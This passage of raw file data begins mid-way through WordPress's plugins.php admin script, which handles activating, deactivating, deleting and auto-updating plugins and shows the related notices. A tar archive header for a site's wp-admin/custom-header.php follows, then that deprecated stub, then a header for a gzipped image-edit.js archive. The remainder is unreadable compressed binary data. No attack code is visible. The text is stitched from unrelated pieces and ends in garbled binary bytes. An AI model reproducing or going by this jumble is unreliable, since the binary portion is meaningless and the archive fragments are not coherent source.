			} elseif ( isset( $_GET['from'] ) && 'press-this' === $_GET['from'] ) {
				wp_redirect( self_admin_url( 'press-this.php' ) );
			} else {
				// Overrides the ?error=true one above.
				wp_redirect( self_admin_url( "plugins.php?activate=true&plugin_status=$status&paged=$page&s=$s" ) );
			}
			exit;

		case 'activate-selected':
			if ( ! current_user_can( 'activate_plugins' ) ) {
				wp_die( __( 'Sorry, you are not allowed to activate plugins for this site.' ) );
			}

			check_admin_referer( 'bulk-plugins' );

			$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();

			if ( is_network_admin() ) {
				foreach ( $plugins as $i => $plugin ) {
					// Only activate plugins which are not already network activated.
					if ( is_plugin_active_for_network( $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}
			} else {
				foreach ( $plugins as $i => $plugin ) {
					// Only activate plugins which are not already active and are not network-only when on Multisite.
					if ( is_plugin_active( $plugin ) || ( is_multisite() && is_network_only_plugin( $plugin ) ) ) {
						unset( $plugins[ $i ] );
					}
					// Only activate plugins which the user can activate.
					if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}
			}

			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			activate_plugins( $plugins, self_admin_url( 'plugins.php?error=true' ), is_network_admin() );

			if ( ! is_network_admin() ) {
				$recent = (array) get_option( 'recently_activated' );
			} else {
				$recent = (array) get_site_option( 'recently_activated' );
			}

			foreach ( $plugins as $plugin ) {
				unset( $recent[ $plugin ] );
			}

			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', $recent );
			} else {
				update_site_option( 'recently_activated', $recent );
			}

			wp_redirect( self_admin_url( "plugins.php?activate-multi=true&plugin_status=$status&paged=$page&s=$s" ) );
			exit;

		case 'update-selected':
			check_admin_referer( 'bulk-plugins' );

			if ( isset( $_GET['plugins'] ) ) {
				$plugins = explode( ',', wp_unslash( $_GET['plugins'] ) );
			} elseif ( isset( $_POST['checked'] ) ) {
				$plugins = (array) wp_unslash( $_POST['checked'] );
			} else {
				$plugins = array();
			}

			// Used in the HTML title tag.
			$title       = __( 'Update Plugins' );
			$parent_file = 'plugins.php';

			wp_enqueue_script( 'updates' );
			require_once ABSPATH . 'wp-admin/admin-header.php';

			echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

			$url = self_admin_url( 'update.php?action=update-selected&amp;plugins=' . urlencode( implode( ',', $plugins ) ) );
			$url = wp_nonce_url( $url, 'bulk-update-plugins' );

			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;

		case 'error_scrape':
			if ( ! current_user_can( 'activate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to activate this plugin.' ) );
			}

			check_admin_referer( 'plugin-activation-error_' . $plugin );

			$valid = validate_plugin( $plugin );
			if ( is_wp_error( $valid ) ) {
				wp_die( $valid );
			}

			if ( ! WP_DEBUG ) {
				error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			}

			ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed.
			// Go back to "sandbox" scope so we get the same errors as before.
			plugin_sandbox_scrape( $plugin );
			/** This action is documented in wp-admin/includes/plugin.php */
			do_action( "activate_{$plugin}" );
			exit;

		case 'deactivate':
			if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to deactivate this plugin.' ) );
			}

			check_admin_referer( 'deactivate-plugin_' . $plugin );

			if ( ! is_network_admin() && is_plugin_active_for_network( $plugin ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			deactivate_plugins( $plugin, false, is_network_admin() );

			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', array( $plugin => time() ) + (array) get_option( 'recently_activated' ) );
			} else {
				update_site_option( 'recently_activated', array( $plugin => time() ) + (array) get_site_option( 'recently_activated' ) );
			}

			if ( headers_sent() ) {
				echo "<meta http-equiv='refresh' content='" . esc_attr( "0;url=plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s" ) . "' />";
			} else {
				wp_redirect( self_admin_url( "plugins.php?deactivate=true&plugin_status=$status&paged=$page&s=$s" ) );
			}
			exit;

		case 'deactivate-selected':
			if ( ! current_user_can( 'deactivate_plugins' ) ) {
				wp_die( __( 'Sorry, you are not allowed to deactivate plugins for this site.' ) );
			}

			check_admin_referer( 'bulk-plugins' );

			$plugins = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();
			// Do not deactivate plugins which are already deactivated.
			if ( is_network_admin() ) {
				$plugins = array_filter( $plugins, 'is_plugin_active_for_network' );
			} else {
				$plugins = array_filter( $plugins, 'is_plugin_active' );
				$plugins = array_diff( $plugins, array_filter( $plugins, 'is_plugin_active_for_network' ) );

				foreach ( $plugins as $i => $plugin ) {
					// Only deactivate plugins which the user can deactivate.
					if ( ! current_user_can( 'deactivate_plugin', $plugin ) ) {
						unset( $plugins[ $i ] );
					}
				}
			}
			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			deactivate_plugins( $plugins, false, is_network_admin() );

			$deactivated = array();
			foreach ( $plugins as $plugin ) {
				$deactivated[ $plugin ] = time();
			}

			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', $deactivated + (array) get_option( 'recently_activated' ) );
			} else {
				update_site_option( 'recently_activated', $deactivated + (array) get_site_option( 'recently_activated' ) );
			}

			wp_redirect( self_admin_url( "plugins.php?deactivate-multi=true&plugin_status=$status&paged=$page&s=$s" ) );
			exit;

		case 'delete-selected':
			if ( ! current_user_can( 'delete_plugins' ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete plugins for this site.' ) );
			}

			check_admin_referer( 'bulk-plugins' );

			// $_POST = from the plugin form; $_GET = from the FTP details screen.
			$plugins = isset( $_REQUEST['checked'] ) ? (array) wp_unslash( $_REQUEST['checked'] ) : array();
			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			$plugins = array_filter( $plugins, 'is_plugin_inactive' ); // Do not allow to delete activated plugins.
			if ( empty( $plugins ) ) {
				wp_redirect( self_admin_url( "plugins.php?error=true&main=true&plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			// Bail on all if any paths are invalid.
			// validate_file() returns truthy for invalid files.
			$invalid_plugin_files = array_filter( $plugins, 'validate_file' );
			if ( $invalid_plugin_files ) {
				wp_redirect( self_admin_url( "plugins.php?plugin_status=$status&paged=$page&s=$s" ) );
				exit;
			}

			require ABSPATH . 'wp-admin/update.php';

			$parent_file = 'plugins.php';

			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
				wp_enqueue_script( 'jquery' );
				require_once ABSPATH . 'wp-admin/admin-header.php';

				?>
				<div class="wrap">
				<?php

				$plugin_info              = array();
				$have_non_network_plugins = false;

				foreach ( (array) $plugins as $plugin ) {
					$plugin_slug = dirname( $plugin );

					if ( '.' === $plugin_slug ) {
						$data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
						if ( $data ) {
							$plugin_info[ $plugin ]                     = $data;
							$plugin_info[ $plugin ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
							if ( ! $plugin_info[ $plugin ]['Network'] ) {
								$have_non_network_plugins = true;
							}
						}
					} else {
						// Get plugins list from that folder.
						$folder_plugins = get_plugins( '/' . $plugin_slug );
						if ( $folder_plugins ) {
							foreach ( $folder_plugins as $plugin_file => $data ) {
								$plugin_info[ $plugin_file ]                     = _get_plugin_data_markup_translate( $plugin_file, $data );
								$plugin_info[ $plugin_file ]['is_uninstallable'] = is_uninstallable_plugin( $plugin );
								if ( ! $plugin_info[ $plugin_file ]['Network'] ) {
									$have_non_network_plugins = true;
								}
							}
						}
					}
				}

				$plugins_to_delete = count( $plugin_info );

				?>
				<?php if ( 1 === $plugins_to_delete ) : ?>
					<h1><?php _e( 'Delete Plugin' ); ?></h1>
					<?php
					if ( $have_non_network_plugins && is_network_admin() ) :
						$maybe_active_plugin = '<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'This plugin may be active on other sites in the network.' );
						wp_admin_notice(
							$maybe_active_plugin,
							array(
								'additional_classes' => array( 'error' ),
							)
						);
					endif;
					?>
					<p><?php _e( 'You are about to remove the following plugin:' ); ?></p>
				<?php else : ?>
					<h1><?php _e( 'Delete Plugins' ); ?></h1>
					<?php
					if ( $have_non_network_plugins && is_network_admin() ) :
						$maybe_active_plugins = '<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'These plugins may be active on other sites in the network.' );
						wp_admin_notice(
							$maybe_active_plugins,
							array(
								'additional_classes' => array( 'error' ),
							)
						);
					endif;
					?>
					<p><?php _e( 'You are about to remove the following plugins:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
						<?php

						$data_to_delete = false;

						foreach ( $plugin_info as $plugin ) {
							if ( $plugin['is_uninstallable'] ) {
								/* translators: 1: Plugin name, 2: Plugin author. */
								echo '<li>', sprintf( __( '%1$s by %2$s (will also <strong>delete its data</strong>)' ), '<strong>' . $plugin['Name'] . '</strong>', '<em>' . $plugin['AuthorName'] . '</em>' ), '</li>';
								$data_to_delete = true;
							} else {
								/* translators: 1: Plugin name, 2: Plugin author. */
								echo '<li>', sprintf( _x( '%1$s by %2$s', 'plugin' ), '<strong>' . $plugin['Name'] . '</strong>', '<em>' . $plugin['AuthorName'] ) . '</em>', '</li>';
							}
						}

						?>
					</ul>
				<p>
				<?php

				if ( $data_to_delete ) {
					_e( 'Are you sure you want to delete these files and data?' );
				} else {
					_e( 'Are you sure you want to delete these files?' );
				}

				?>
				</p>
				<form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php

					foreach ( (array) $plugins as $plugin ) {
						echo '<input type="hidden" name="checked[]" value="' . esc_attr( $plugin ) . '" />';
					}

					?>
					<?php wp_nonce_field( 'bulk-plugins' ); ?>
					<?php submit_button( $data_to_delete ? __( 'Yes, delete these files and data' ) : __( 'Yes, delete these files' ), '', 'submit', false ); ?>
				</form>
				<?php

				$referer = wp_get_referer();

				?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the plugin list' ), '', 'submit', false ); ?>
				</form>
				</div>
				<?php

				require_once ABSPATH . 'wp-admin/admin-footer.php';
				exit;
			} else {
				$plugins_to_delete = count( $plugins );
			} // End if verify-delete.

			$delete_result = delete_plugins( $plugins );

			// Store the result in a cache rather than a URL param due to object type & length.
			set_transient( 'plugins_delete_result_' . $user_ID, $delete_result );
			wp_redirect( self_admin_url( "plugins.php?deleted=$plugins_to_delete&plugin_status=$status&paged=$page&s=$s" ) );
			exit;
		case 'clear-recent-list':
			if ( ! is_network_admin() ) {
				update_option( 'recently_activated', array() );
			} else {
				update_site_option( 'recently_activated', array() );
			}

			break;
		case 'resume':
			if ( is_multisite() ) {
				return;
			}

			if ( ! current_user_can( 'resume_plugin', $plugin ) ) {
				wp_die( __( 'Sorry, you are not allowed to resume this plugin.' ) );
			}

			check_admin_referer( 'resume-plugin_' . $plugin );

			$result = resume_plugin( $plugin, self_admin_url( "plugins.php?error=resuming&plugin_status=$status&paged=$page&s=$s" ) );

			if ( is_wp_error( $result ) ) {
				wp_die( $result );
			}

			wp_redirect( self_admin_url( "plugins.php?resume=true&plugin_status=$status&paged=$page&s=$s" ) );
			exit;
		case 'enable-auto-update':
		case 'disable-auto-update':
		case 'enable-auto-update-selected':
		case 'disable-auto-update-selected':
			if ( ! current_user_can( 'update_plugins' ) || ! wp_is_auto_update_enabled_for_type( 'plugin' ) ) {
				wp_die( __( 'Sorry, you are not allowed to manage plugins automatic updates.' ) );
			}

			if ( is_multisite() && ! is_network_admin() ) {
				wp_die( __( 'Please connect to your network admin to manage plugins automatic updates.' ) );
			}

			$redirect = self_admin_url( "plugins.php?plugin_status={$status}&paged={$page}&s={$s}" );

			if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
				if ( empty( $plugin ) ) {
					wp_redirect( $redirect );
					exit;
				}

				check_admin_referer( 'updates' );
			} else {
				if ( empty( $_POST['checked'] ) ) {
					wp_redirect( $redirect );
					exit;
				}

				check_admin_referer( 'bulk-plugins' );
			}

			$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );

			if ( 'enable-auto-update' === $action ) {
				$auto_updates[] = $plugin;
				$auto_updates   = array_unique( $auto_updates );
				$redirect       = add_query_arg( array( 'enabled-auto-update' => 'true' ), $redirect );
			} elseif ( 'disable-auto-update' === $action ) {
				$auto_updates = array_diff( $auto_updates, array( $plugin ) );
				$redirect     = add_query_arg( array( 'disabled-auto-update' => 'true' ), $redirect );
			} else {
				$plugins = (array) wp_unslash( $_POST['checked'] );

				if ( 'enable-auto-update-selected' === $action ) {
					$new_auto_updates = array_merge( $auto_updates, $plugins );
					$new_auto_updates = array_unique( $new_auto_updates );
					$query_args       = array( 'enabled-auto-update-multi' => 'true' );
				} else {
					$new_auto_updates = array_diff( $auto_updates, $plugins );
					$query_args       = array( 'disabled-auto-update-multi' => 'true' );
				}

				// Return early if all selected plugins already have auto-updates enabled or disabled.
				// Must use non-strict comparison, so that array order is not treated as significant.
				if ( $new_auto_updates == $auto_updates ) { // phpcs:ignore Universal.Operators.StrictComparisons.LooseEqual
					wp_redirect( $redirect );
					exit;
				}

				$auto_updates = $new_auto_updates;
				$redirect     = add_query_arg( $query_args, $redirect );
			}

			/** This filter is documented in wp-admin/includes/class-wp-plugins-list-table.php */
			$all_items = apply_filters( 'all_plugins', get_plugins() );

			// Remove plugins that don't exist or have been deleted since the option was last updated.
			$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

			update_site_option( 'auto_update_plugins', $auto_updates );

			wp_redirect( $redirect );
			exit;
		default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer( 'bulk-plugins' );

				$screen   = get_current_screen()->id;
				$sendback = wp_get_referer();
				$plugins  = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : array();

				/** This action is documented in wp-admin/edit.php */
				$sendback = apply_filters( "handle_bulk_actions-{$screen}", $sendback, $action, $plugins ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
				wp_safe_redirect( $sendback );
				exit;
			}
			break;
	}
}

$wp_list_table->prepare_items();

wp_enqueue_script( 'plugin-install' );
add_thickbox();

add_screen_option( 'per_page', array( 'default' => 999 ) );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here.' ) . '</p>' .
				'<p>' . __( 'The search for installed plugins will search for terms in their name, description, or author.' ) . ' <span id="live-search-desc" class="hide-if-no-js">' . __( 'The search results will be updated as you type.' ) . '</span></p>' .
				'<p>' . sprintf(
					/* translators: %s: WordPress Plugin Directory URL. */
					__( 'If you would like to see more plugins to choose from, click on the &#8220;Add New Plugin&#8221; button and you will be able to browse or search for additional plugins from the <a href="%s">WordPress Plugin Directory</a>. Plugins in the WordPress Plugin Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they&#8217;re free!' ),
					__( 'https://wordpress.org/plugins/' )
				) . '</p>',
	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'compatibility-problems',
		'title'   => __( 'Troubleshooting' ),
		'content' =>
				'<p>' . __( 'Most of the time, plugins play nicely with the core of WordPress and with other plugins. Sometimes, though, a plugin&#8217;s code will get in the way of another plugin, causing compatibility issues. If your site starts doing strange things, this may be the problem. Try deactivating all your plugins and re-activating them in various combinations until you isolate which one(s) caused the issue.' ) . '</p>' .
				'<p>' . sprintf(
					/* translators: %s: WP_PLUGIN_DIR constant value. */
					__( 'If something goes wrong with a plugin and you cannot use WordPress, delete or rename that file in the %s directory and it will be automatically deactivated.' ),
					'<code>' . WP_PLUGIN_DIR . '</code>'
				) . '</p>',
	)
);

$help_sidebar_autoupdates = '';

if ( current_user_can( 'update_plugins' ) && wp_is_auto_update_enabled_for_type( 'plugin' ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' =>
					'<p>' . __( 'Auto-updates can be enabled or disabled for each individual plugin. Plugins with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
					'<p>' . __( 'Auto-updates are only available for plugins recognized by WordPress.org, or that include a compatible update system.' ) . '</p>' .
					'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>',
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/manage-plugins/">Documentation on Managing Plugins</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter plugins list' ),
		'heading_pagination' => __( 'Plugins list navigation' ),
		'heading_list'       => __( 'Plugins list' ),
	)
);

// Used in the HTML title tag.
$title       = __( 'Plugins' );
$parent_file = 'plugins.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

$invalid = validate_active_plugins();
if ( ! empty( $invalid ) ) {
	foreach ( $invalid as $plugin_file => $error ) {
		$deactivated_message = sprintf(
			/* translators: 1: Plugin file, 2: Error message. */
			__( 'The plugin %1$s has been deactivated due to an error: %2$s' ),
			'<code>' . esc_html( $plugin_file ) . '</code>',
			esc_html( $error->get_error_message() )
		);
		wp_admin_notice(
			$deactivated_message,
			array(
				'id'                 => 'message',
				'additional_classes' => array( 'error' ),
			)
		);
	}
}

// Used by wp_admin_notice() updated notices.
$updated_notice_args = array(
	'id'                 => 'message',
	'additional_classes' => array( 'updated' ),
	'dismissible'        => true,
);
if ( isset( $_GET['error'] ) ) {

	if ( isset( $_GET['main'] ) ) {
		$errmsg = __( 'You cannot delete a plugin while it is active on the main site.' );
	} elseif ( isset( $_GET['charsout'] ) ) {
		$errmsg = sprintf(
			/* translators: %d: Number of characters. */
			_n(
				'The plugin generated %d character of <strong>unexpected output</strong> during activation.',
				'The plugin generated %d characters of <strong>unexpected output</strong> during activation.',
				$_GET['charsout']
			),
			$_GET['charsout']
		);
		$errmsg .= ' ' . __( 'If you notice &#8220;headers already sent&#8221; messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.' );
	} elseif ( 'resuming' === $_GET['error'] ) {
		$errmsg = __( 'Plugin could not be resumed because it triggered a <strong>fatal error</strong>.' );
	} else {
		$errmsg = __( 'Plugin could not be activated because it triggered a <strong>fatal error</strong>.' );
	}

	if ( ! isset( $_GET['main'] ) && ! isset( $_GET['charsout'] )
		&& isset( $_GET['_error_nonce'] ) && wp_verify_nonce( $_GET['_error_nonce'], 'plugin-activation-error_' . $plugin )
	) {
		$iframe_url = add_query_arg(
			array(
				'action'   => 'error_scrape',
				'plugin'   => urlencode( $plugin ),
				'_wpnonce' => urlencode( $_GET['_error_nonce'] ),
			),
			admin_url( 'plugins.php' )
		);

		$errmsg .= '<iframe style="border:0" width="100%" height="70px" src="' . esc_url( $iframe_url ) . '"></iframe>';
	}

	wp_admin_notice(
		$errmsg,
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'error' ),
		)
	);

} elseif ( isset( $_GET['deleted'] ) ) {
	$delete_result = get_transient( 'plugins_delete_result_' . $user_ID );
	// Delete it once we're done.
	delete_transient( 'plugins_delete_result_' . $user_ID );

	if ( is_wp_error( $delete_result ) ) {
		$plugin_not_deleted_message = sprintf(
			/* translators: %s: Error message. */
			__( 'Plugin could not be deleted due to an error: %s' ),
			esc_html( $delete_result->get_error_message() )
		);
		wp_admin_notice(
			$plugin_not_deleted_message,
			array(
				'id'                 => 'message',
				'additional_classes' => array( 'error' ),
				'dismissible'        => true,
			)
		);
	} else {
		if ( 1 === (int) $_GET['deleted'] ) {
			$plugins_deleted_message = __( 'The selected plugin has been deleted.' );
		} else {
			$plugins_deleted_message = __( 'The selected plugins have been deleted.' );
		}
		wp_admin_notice( $plugins_deleted_message, $updated_notice_args );
	}
} elseif ( isset( $_GET['activate'] ) ) {
	wp_admin_notice( __( 'Plugin activated.' ), $updated_notice_args );
} elseif ( isset( $_GET['activate-multi'] ) ) {
	wp_admin_notice( __( 'Selected plugins activated.' ), $updated_notice_args );
} elseif ( isset( $_GET['deactivate'] ) ) {
	wp_admin_notice( __( 'Plugin deactivated.' ), $updated_notice_args );
} elseif ( isset( $_GET['deactivate-multi'] ) ) {
	wp_admin_notice( __( 'Selected plugins deactivated.' ), $updated_notice_args );
} elseif ( 'update-selected' === $action ) {
	wp_admin_notice( __( 'All selected plugins are up to date.' ), $updated_notice_args );
} elseif ( isset( $_GET['resume'] ) ) {
	wp_admin_notice( __( 'Plugin resumed.' ), $updated_notice_args );
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	wp_admin_notice( __( 'Plugin will be auto-updated.' ), $updated_notice_args );
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	wp_admin_notice( __( 'Plugin will no longer be auto-updated.' ), $updated_notice_args );
} elseif ( isset( $_GET['enabled-auto-update-multi'] ) ) {
	wp_admin_notice( __( 'Selected plugins will be auto-updated.' ), $updated_notice_args );
} elseif ( isset( $_GET['disabled-auto-update-multi'] ) ) {
	wp_admin_notice( __( 'Selected plugins will no longer be auto-updated.' ), $updated_notice_args );
}
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<?php
if ( ( ! is_multisite() || is_network_admin() ) && current_user_can( 'install_plugins' ) ) {
	?>
	<a href="<?php echo esc_url( self_admin_url( 'plugin-install.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add New Plugin' ); ?></a>
	<?php
}

if ( strlen( $s ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( urldecode( $s ) ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
/**
 * Fires before the plugins list table is rendered.
 *
 * This hook also fires before the plugins list table is rendered in the Network Admin.
 *
 * Please note: The 'active' portion of the hook name does not refer to whether the current
 * view is for active plugins, but rather all plugins actively-installed.
 *
 * @since 3.0.0
 *
 * @param array[] $plugins_all An array of arrays containing information on all installed plugins.
 */
do_action( 'pre_current_active_plugins', $plugins['all'] );
?>

<?php $wp_list_table->views(); ?>

<form class="search-form search-plugins" method="get">
<?php $wp_list_table->search_box( __( 'Search Installed Plugins' ), 'plugin' ); ?>
</form>

<form method="post" id="bulk-action-form">

<input type="hidden" name="plugin_status" value="<?php echo esc_attr( $status ); ?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" />

<?php $wp_list_table->display(); ?>
</form>

	<span class="spinner"></span>
</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
custom-header.php.tar000064400000004000150276633100010577 0ustar00home/natitnen/crestassured.com/wp-admin/custom-header.php000064400000000652150275753270017605 0ustar00<?php
/**
 * Custom header image script.
 *
 * This file is deprecated, use 'wp-admin/includes/class-custom-image-header.php' instead.
 *
 * @deprecated 5.3.0
 * @package WordPress
 * @subpackage Administration
 */

_deprecated_file( basename( __FILE__ ), '5.3.0', 'wp-admin/includes/class-custom-image-header.php' );

/** Custom_Image_Header class */
require_once ABSPATH . 'wp-admin/includes/class-custom-image-header.php';
image-edit.js.js.tar.gz000064400000023241150276633100010733 0ustar00��=ks�Ƶ�*����	���$�q[�r�8N��:ε�&OƁ����X4�&����Iٲ��Nb���y���|���J�Lg�I��*.�y��Q�O��x8M�ß��t_�=L��������ݻ�Ϗ���޹}�ǟݾw�޽;������]ut�A�3�0��7�9��]��z>�j4ϒ*ͳRe:�e+5��'�f��ο��:��k�f�V���DG�;�W�y�:!*���O��$��'*�9^΋�@%y6J�)���,����/�;o�B�z�Π�(=�s�zu�����ށQ�Y�0�x2Q,b��q>,U��4�yǓ�?Z��G���k��hayaG��_�x��Y�H�GP��<
�g�f�|��`�i\ƳT��_��;�|24�gyY���׃_�ޤz?F��o9���b�UR�3XA>�d�*�����9<=�G�W��@e9�ƀZ~9��<S�}2�K�߭��OdVh��AO}*�}���N�'�:���8-#^Qt��sS���رK�dr��e?�éLᖞ��
+
�}��UU�T�"��rG��=X��ٙ�U�\���W�Q��vvx���+�8~�Յ֙J&y	
g=�Q���c�^Q��q��F��0�
��<+upp^bo;�%�2ئ���Wi��;���v.pG�����@Q�+�a�<��p��Z��}O�T�"���5���V��t�eɡ�|*9<=?X��(�}:�ך���::
z�5�j��VZ��j�2��P�V#�TvcA�(�2]|�Up�N/�U��\����-�Cu�e������8� (
T�X�o2�9�S<�š��6���A��X��aL�ֈ,y�E��ǽ������ky~Ѿb��u�/z�r������lO���ծ���Zh��W)t<\1و}
�_�q�J]ߚ#&%��|�q����vk�����ZJ-�h��Ձn���Bbi6����1�>�Q9�'\����|6ji6ѣQk&iNܜ���9�1�]���g���+��4y]�:�b�_b�Lְ�8J& D�#-�(���\;�1N�f���$�n;����([қ���w�Y�I��+��蚇���O
E��.@����D�V���ACH�C�:ot�4f��$3��U�R��/#ۇS=��E>
�L.��E<U�ds�r�F,�O�2#��+��d��B-΄��G��y��N��P�y�I��$T�'�	�V�Va�˴"����a�c�(NT�iK�>�2A���W$t�f	J[4j�Q�����u���
*��8�yR�3��t��Z(����R{��=U�fD�i;�#�+I�~1D%f9LR(w� 쉶�L��A�UF�S�=jQ�p
��7p�?��\�+e> �⹙�j�>͇)�Χn��ڥ��Ws�>X�EM�r=F���#]���|��(>�]lj焋Z�TY�����b�2/=M%��-R��8(,�xSo@�+����M�
)-��&O�W����M�h�s��6�R�P���?����A�|vy�]��U����V�[�� �*�� � ��$Y�7�1�#�m�@9'�X+�8w�
u�

�*aPl��y^V2
��Зq]�L�^iW�=��6&���1�f�s��7���Dg�8CR[x��rhN�ל�h�@<�7�!b0�]��m4#r�
��U���:nׅa�|Ⱶ@�����%Dm@L����W�-#>G��JDh�
�ޜ�bl9yAl���Y��$b����6��۬:۴�rbv��6C��@h�� D�d���.��*"տo�ʧ��%h��4����+{e�}�-W�
d��DE%w��J�5��pmT޾>�C�cօ��(g��:�@Og�J�2~�Y����D��{�W(����?�Ag��J[��S��h1N�1i2����(����Uf��5φy]��f��m���]�o�?LG_�\q���w�Ǯ]{
;�#h�0�S�a�LxP�;�*��X�="r�$!.
<hU:u��=u��վ�/w��Ro�+�#T.Aށ�^L�E�Z-��2�:��t�zRR�n$(ĭ}mG����d�G�|b����w@����SJ���d��� �%s������r#
E�g��'q���_�؞��������Pk��ł���
��<�,�,:B	9	�����gd ꪫ@��56��0>Yn6`�m�a��аY'��cQs���ϣV1𪾮���1����/�x:�9�����1
N���x)�� �4h.ԧ�X���8����GR���	�b�w�qF6޲�5���t^�ZB[�BݷMr��ہ��+��h�*(���E�g>N�YN�����|��{ѝk�
�<�G,�]�"�5���F�r�<dT_LH������)��Ƞ�|�#�:������
 �+{�&�K!x�^���;��ON�un�����G3�ЅN	�%��֪��7�f�_�(*J�' �1Kˡ�#ӧ9�KE�Oˮpcp�P�3�F�	SF�QR�լ'���&g�����༈�7-�B��F/�����>q�ސM;'�"�F0�X�Z�,i̾�@4����
���ӋRo[���E�E�8�5���8G�-HI*�:f�-b�4ϐ�4P�C,��3K���I�͈9n�59*zIb��E�\LXߺ/U+��8�t�io���t:z�L{�e��G�1�"�{�V�Ͼ���ST45�#Z}sѵ��ą�o�2`.'=�@R�țQ�D|d�mE���شq�>V:��=��� ��1�8�y�|�I/Q�gt�_�BY�}0�d^��#2\�4˷a3I>q>"�hx|�vt��TH�loL��n#zF~l�"��X��c[��-ǖ|��j}�j{j�0w{dECh�8�V����y�3Sn��L吹Z���1���C}�=���ڜ���:z���mz�e��u���)�
�֦�l�4�x��D�}��M���Bc�P�v���!"j�Q�2�[�|�xHF���_y�Y��t�)�1��$��=��>?U=��E��
�^��!��k#ݭ���IP��d�.��
X�ǺrD5R��h&��&��}mK�ߣxN��>�^9�c��Z��》���;����d��$y�����"0[���(���$�`�����v�"�A�<��4��S7,�u���m��o�b���^��D��=��m��
��uI>,1;�ɿL��U2��K]R�Y�@��l6I���=%@dv�~붭 #:L�@��Ꮈ�llS�;���M=���?���	P�c+��ᬗ�!C>灛.ϐe0�fF�&ӝQ�0�Г!�c
�.�u�V���Ήa�$c��f���_���A�u�|��x��'�8J����:�^k=���J�a�o9��)��~<
